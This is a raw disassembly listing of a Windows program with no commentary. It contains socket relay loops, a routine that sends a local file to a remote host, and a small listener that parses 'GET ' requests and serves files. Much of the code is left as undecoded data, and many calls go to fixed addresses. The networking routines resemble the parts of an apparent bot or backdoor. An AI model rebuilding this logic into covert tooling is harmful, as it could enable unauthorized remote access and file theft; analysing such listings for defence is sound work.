		shl	eax, 6
		inc	dword_431448[eax]
		push	ebx
		lea	eax, dword_431448[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40E470
; ---------------------------------------------------------------------------

loc_40E467:				; CODE XREF: ___:0040E284j
					; ___:0040E2A9j ...
		push	ebx
		call	near ptr 71AB1A6Dh
		nop

loc_40E46E:				; CODE XREF: ___:0040E26Ej
		xor	eax, eax

loc_40E470:				; CODE XREF: ___:0040E465j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40E47E:				; CODE XREF: ___:0040E49Aj
					; ___:0040E4B6j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCE4
		call	dword_4CAFBC
		test	eax, eax
		jle	short loc_40E47E
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CDCE0
		nop
		call	near ptr 26E0000h
		jmp	short loc_40E47E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40E4C1:				; CODE XREF: ___:0040E4E7j
					; ___:0040E501j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCD4
		nop
		call	near ptr 26F0000h
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C1
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CDCE4
		call	dword_4CAFF4
		jmp	short loc_40E4C1
; ---------------------------------------------------------------------------
byte_40E503	db 55h			; DATA XREF: sub_401ACD+2D0Do
dword_40E504	dd 0EC81EC8Bh, 11Ch, 5308458Bh,	286A5756h, 8D59F08Bh, 0FFFEE4BDh
		dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh
		dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h
		dd 0A415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h,	0B02415FFh
		dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFD0h
		dd 75FF056Ah, 0CC15FF08h, 8B004CAFh, 4270FC1Dh,	68358B00h
		dd 57004270h, 875FF57h,	0B03815FFh, 0E4A3004Ch,	8D004CDCh
		dd 5057F445h, 4CDCE068h, 0DCDC6800h, 45C7004Ch,	0CF4h
		dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0D8685057h, 68004CDCh
		dd 4CDCD4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0DCA10000h
		dd 83004CDCh, 45890CC4h, 0DCD8A1BCh, 4589004Ch,	16A57C0h
		dd 6AC4458Dh, 45C75002h, 4484h,	0B045C700h, 101h, 0B47D8966h
		dd 2094E890h, 0FF50022Fh, 4CDCD835h, 2088E800h,	5090022Fh
		dd 19E6E890h, 458D022Fh, 458D50D8h, 57575084h, 9068h, 0F4458D04h
		dd 8D50016Ah, 6850F445h, 433544h, 2563E857h, 8D900224h
		dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h,	261A47E8h
		dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h,	5057F445h
		dd 1A2EE890h, 0FF6A0226h, 0FFF04589h, 0E890D875h, 2271AF1h
		dd 0F075FF57h, 22FBE890h, 0FF570227h, 0E890EC75h, 22722F1h
		dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 22E244Ch
		dd 0DCDC35FFh, 0D6FF004Ch, 0DCE035FFh, 0D6FF004Ch, 0DCD435FFh
		dd 0D6FF004Ch, 0DCD835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h
		dd 0B0E9D6FFh, 0E9FFFFFEh, 0
; ---------------------------------------------------------------------------
		push	0FFFEh
		push	400h
		call	sub_418684
		pop	ecx
		mov	dword_4CDCEC, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
byte_40E6EF	db 55h			; DATA XREF: sub_40BACD+34Do
dword_40E6F0	dd 0EC81EC8Bh, 6C0h, 5308458Bh,	276A5756h, 8D59F08Bh, 0FFFF50BDh
		dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh
		dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h
		dd 0A415FFFFh, 53004CAFh, 66026A56h, 89EE4589h,	15FFF05Dh
		dd 4CB024h, 0CE83F88Bh,	75FE3BFFh, 0E45D3945h, 8D532075h
		dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh
		dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h
		dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 186AE890h
		dd 858B022Ch, 0FFFFFF54h, 0C069106Ah, 234h, 0DEECB889h
		dd 458D0043h, 0FF5750ECh, 4CAFD015h, 0BBC63B00h, 400h
		dd 0CF850Fh, 15FF0000h,	4CAF38h, 27403Dh, 33477400h, 0E47539F6h
		dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
		dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h,	0FFFFFD40h
		dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh
		dd 17EAE890h, 0FE68022Ch, 530000FFh, 9E63E8h, 0ECA35900h
		dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFD015h
		dd 75C63B00h, 3815FF54h, 33004CAFh, 0E47539F6h,	403D2775h
		dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh,	0FF60858Dh
		dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h
		dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah
		dd 90565959h, 2C176FE8h, 57056A02h, 0AFCC15FFh,	0C63B004Ch
		dd 0D4840Fh, 45C70000h,	10FCh, 9108BE00h, 458D0042h, 858D50FCh
		dd 0FFFFFF40h, 15FF5750h, 4CB038h, 89FFF883h, 0E6740845h
		dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h
		dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh
		dd 20068h, 75FF5000h, 0BC15FF08h, 83004CAFh, 9674FFF8h
		dd 35FF5656h, 4CACE0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h
		dd 354C6850h, 858D0043h, 0FFFFF940h, 41E85053h,	830000D0h
		dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h
		dd 0FFFFF940h, 875FF50h, 0AFF415FFh, 0F883004Ch, 43840FFFh
		dd 0FFFFFFFFh, 4CDCF405h, 0FF38E900h, 0FF57FFFFh, 4CB03C15h
		dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 0E8006A59h, 22C1670h
		db 90h
byte_40E991	db 55h,	8Bh, 0ECh	; DATA XREF: sub_40BACD+22Ao
		dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah,	8B000000h
		dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh
		dd 1016850h, 5D890000h,	0D45D89E4h, 89DC5D89h, 0FFFDD4B5h
		dd 0C4B589FFh, 0E8FFFFFBh, 716A57FAh, 6A535690h, 37E89002h
		dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh
		dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh
		dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 37E85780h, 90716A2Bh
		dd 0ACE0A166h, 6583004Ch, 665000B8h, 2B445C7h, 0A415FF00h
		dd 66004CAFh, 8DB64589h, 106AB445h, 0E8905750h,	716A5482h
		dd 77DC085h, 60E9C38Bh,	6A000005h, 83E8570Ah, 90716A73h
		dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh
		dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h
		dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 0E85040FCh, 716A2DF4h
		dd 0FFF88390h, 50E840Fh, 0FF330000h, 89FC7539h,	0C57C087Dh
		dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h
		dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h
		dd 0E85750FFh, 17C76h, 840FC085h, 4BAh,	75F87D3Bh, 0F0458D7Ah
		dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h
		dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h
		dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h
		dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh
		dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h
		dd 56FC4589h, 1468156Ah, 50004338h, 3BE9D3FFh, 56000004h
		dd 0FD60858Dh, 646AFFFFh, 19E85750h, 90716A6Bh,	527FC085h
		dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh
		dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah,	8D848D1Bh
		dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h
		dd 0EC72CA3Bh, 0FDD48DFFh, 0E857FFFFh, 716A2EA5h, 3D4E990h
		dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh,	0FD60858Dh
		dd 0C68FFFFh, 50004338h, 0DA58E8h, 50858D00h, 68FFFFFFh
		dd 433804h, 0D472E850h,	0C4830000h, 75C08518h, 166A560Dh
		dd 4337EC68h, 82E900h, 858D0000h, 0FFFFFF50h, 4337E468h
		dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 4337CC68h
		dd 8D61EB00h, 0FFFF5085h, 37C468FFh, 0E8500043h, 0D42Ch
		dd 59C08559h, 6A560A75h, 37B4680Dh, 40EB0043h, 0FF50858Dh
		dd 0AC68FFFFh, 50004337h, 0D40BE8h, 0C0855900h,	560A7559h
		dd 9868106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh,	433794h
		dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h,	433774h
		dd 2F1E957h, 6CBF0000h,	8D004337h, 0FFFF5085h, 0E85057FFh
		dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43376868h
		dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh,	43375468h
		dd 2B2E900h, 858D0000h,	0FFFFFF50h, 8DE85057h, 590000D3h
		dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433750h, 0D376E850h
		dd 85590000h, 0D7559C0h, 68136A56h, 43373Ch, 27BE9h, 50858D00h
		dd 68FFFFFFh, 433734h, 0D352E850h, 85590000h, 347559C0h
		dd 8BE0A6Ah, 59004337h,	0FED8BD8Dh, 0A5F3FFFFh,	0D8858D50h
		dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h,	50FFFFFEh
		dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 68FFFFh, 50004337h
		dd 0D307E8h, 0C0855900h, 6A2A7559h, 36E8BE05h, 8D590043h
		dd 0FFFF38BDh, 66A5F3FFh, 858D50A5h, 0FFFFFF38h, 51E8A450h
		dd 590000C2h, 38858D50h, 0EBFFFFFFh, 50858DB2h,	68FFFFFFh
		dd 4336E0h, 0D2C6E850h,	85590000h, 850F59C0h, 0B6h, 0FD2C858Dh
		dd 8D50FFFFh, 0FFFF0485h, 458D50FFh, 458D50ECh,	458D50E8h
		dd 458D50E0h, 858D50D8h, 0FFFFFD60h, 4336B868h,	62E85000h
		dd 8D0000D8h, 0FFFF0485h, 8AE850FFh, 8B0000C9h,	2C858DF8h
		dd 50FFFFFDh, 0C97CE8h,	0F4458900h, 858D326Ah, 0FFFFFF04h
		dd 81E85056h, 830000C7h, 858D34C4h, 0FFFFFF04h,	57F475FFh
		dd 4336B068h, 5FE85000h, 6A0000CAh, 4858D10h, 56FFFFFFh
		dd 0CF8FE850h, 0C4830000h, 0F445891Ch, 50EC458Dh, 50E8458Dh
		dd 50E0458Dh, 50D8458Dh, 68C4458Dh, 4336A4h, 0CA2CE850h
		dd 0C4830000h, 1D6A5618h, 43368468h, 11EE900h, 858D0000h
		dd 0FFFFFF50h, 43367C68h, 0F5E85000h, 590000D1h, 0F59C085h
		dd 0E485h, 286A5600h, 43365068h, 875FF00h, 75FFD3FFh, 0C4458DF4h
		dd 120E850h, 83590000h,	0F5901F8h, 0B685h, 0C4458D00h
		dd 20858D50h, 68FFFFF7h, 433634h, 0C9C8E850h, 0C4830000h
		dd 0BCB5390Ch, 75FFFFFBh, 858D5623h, 0FFFFF720h, 0FBB8B5FFh
		dd 8D50FFFFh, 0FFFB3885h, 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h
		dd 14C483FFh, 14AE8h, 1F88300h,	93850Fh, 6A560000h, 361C6817h
		dd 75FF0043h, 8DD3FF08h, 8D50C445h, 0FFF72085h,	35FC68FFh
		dd 0E8500043h, 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh
		dd 0F720858Dh, 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh
		dd 0F920B5FFh, 2BE8FFFFh, 83FFFFABh, 858D14C4h,	0FFFFF720h
		dd 6256E850h, 5FF0000h,	4CDAB0h, 562EEB59h, 0D868206Ah
		dd 0EB004335h, 50858D1Fh, 68FFFFFFh, 42C9C4h, 0D0F6E850h
		dd 85590000h, 0D7559C0h, 681B6A56h, 4335BCh, 0FF0875FFh
		dd 8D646AD3h, 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh
		dd 3B470CC4h, 7D89FC7Dh, 18E0F08h, 0E9FFFFFBh, 0FFFFFAC1h
		dd 5F58016Ah, 0C2C95B5Eh
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4CDCF8, eax
		mov	word ptr [ebp-10h], 2
		call	near ptr 71AB12F8h
		nop
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CDCF8
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F036
		push	dword_4CDCF8
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40F036:				; CODE XREF: ___:0040F01Ej
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2660000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D2
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B6
		push	edi
		mov	edi, 400h

loc_40F07E:				; CODE XREF: ___:0040F0B3j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CDCF8
		nop
		call	near ptr 71AB1AF4h
		push	1
		call	near ptr 2670000h
		nop
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07E
		pop	edi

loc_40F0B6:				; CODE XREF: ___:0040F076j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CDCF8
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		push	1
		pop	eax

loc_40F0D2:				; CODE XREF: ___:0040F070j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D5	proc near		; DATA XREF: sub_401ACD+2283o
					; sub_40BACD+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CAFA4
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CB024
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C0
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43DEEC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CAFD0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		push	7FFFFFFFh
		push	edi
		call	dword_4CAFCC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB040
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi

loc_40F1AC:				; CODE XREF: sub_40F0D5+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BB
		xor	esi, esi
		mov	[ebp+var_4], esi

loc_40F1E2:				; CODE XREF: sub_40F0D5+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CAE90
		test	eax, eax
		jz	loc_40F4A6
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F264
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB038
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A6
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F236
		lea	edx, [ebp+var_134]

loc_40F22A:				; CODE XREF: sub_40F0D5+15Fj
		cmp	[edx], eax
		jz	short loc_40F236
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22A

loc_40F236:				; CODE XREF: sub_40F0D5+14Dj
					; sub_40F0D5+157j
		cmp	ecx, ebx
		jnz	short loc_40F253
		cmp	ebx, 40h
		jnb	short loc_40F253
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx

loc_40F253:				; CODE XREF: sub_40F0D5+163j
					; sub_40F0D5+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A6
		mov	[ebp+var_8], eax
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F264:				; CODE XREF: sub_40F0D5+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CAFBC
		test	eax, eax
		jg	short loc_40F2F7
		push	esi
		call	dword_4CB03C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A6
		lea	eax, [ebp+var_134]

loc_40F2B6:				; CODE XREF: sub_40F0D5+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C7
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B6
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F2C7:				; CODE XREF: sub_40F0D5+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EB
		lea	eax, [ebp+ecx*4+var_134]

loc_40F2D5:				; CODE XREF: sub_40F0D5+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D5

loc_40F2EB:				; CODE XREF: sub_40F0D5+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F2F7:				; CODE XREF: sub_40F0D5+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A6

loc_40F325:				; CODE XREF: sub_40F0D5+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CA
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39E
		mov	eax, offset asc_42CA64 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B5
; ---------------------------------------------------------------------------

loc_40F39E:				; CODE XREF: sub_40F0D5+27Fj
					; sub_40F0D5+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_433854 ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3E9

loc_40F3B5:				; CODE XREF: sub_40F0D5+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh

loc_40F3CA:				; CODE XREF: sub_40F0D5+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F325
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F3E9:				; CODE XREF: sub_40F0D5+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F433
		lea	eax, [ebp+var_134]

loc_40F3F5:				; CODE XREF: sub_40F0D5+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F406
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F5
		jmp	short loc_40F436
; ---------------------------------------------------------------------------

loc_40F406:				; CODE XREF: sub_40F0D5+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42A
		lea	eax, [ebp+ecx*4+var_134]

loc_40F414:				; CODE XREF: sub_40F0D5+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F414

loc_40F42A:				; CODE XREF: sub_40F0D5+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F436
; ---------------------------------------------------------------------------

loc_40F433:				; CODE XREF: sub_40F0D5+318j
		mov	esi, [ebp+var_4]

loc_40F436:				; CODE XREF: sub_40F0D5+32Fj
					; sub_40F0D5+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F49F
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F49F
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB040
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B3
		add	esp, 14h
		jmp	short loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F49F:				; CODE XREF: sub_40F0D5+369j
					; sub_40F0D5+38Fj
		push	esi
		call	dword_4CB03C

loc_40F4A6:				; CODE XREF: sub_40F0D5+11Dj
					; sub_40F0D5+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E2
		jmp	loc_40F1AC
; ---------------------------------------------------------------------------

loc_40F4BB:				; CODE XREF: sub_40F0D5+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx

loc_40F4C0:				; CODE XREF: sub_40F0D5+6Aj
					; sub_40F0D5+92j ...
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_43382C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F506
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A72
		add	esp, 14h

loc_40F506:				; CODE XREF: sub_40F0D5+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB03C
		push	[ebp+var_254]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F530	proc near		; DATA XREF: sub_40F6B3+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41B886
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40F596
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40F59B
; ---------------------------------------------------------------------------

loc_40F596:				; CODE XREF: sub_40F530+5Dj
		push	offset aApplicationOct ; "application/octet-stream"

loc_40F59B:				; CODE XREF: sub_40F530+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41B886
		pop	ecx
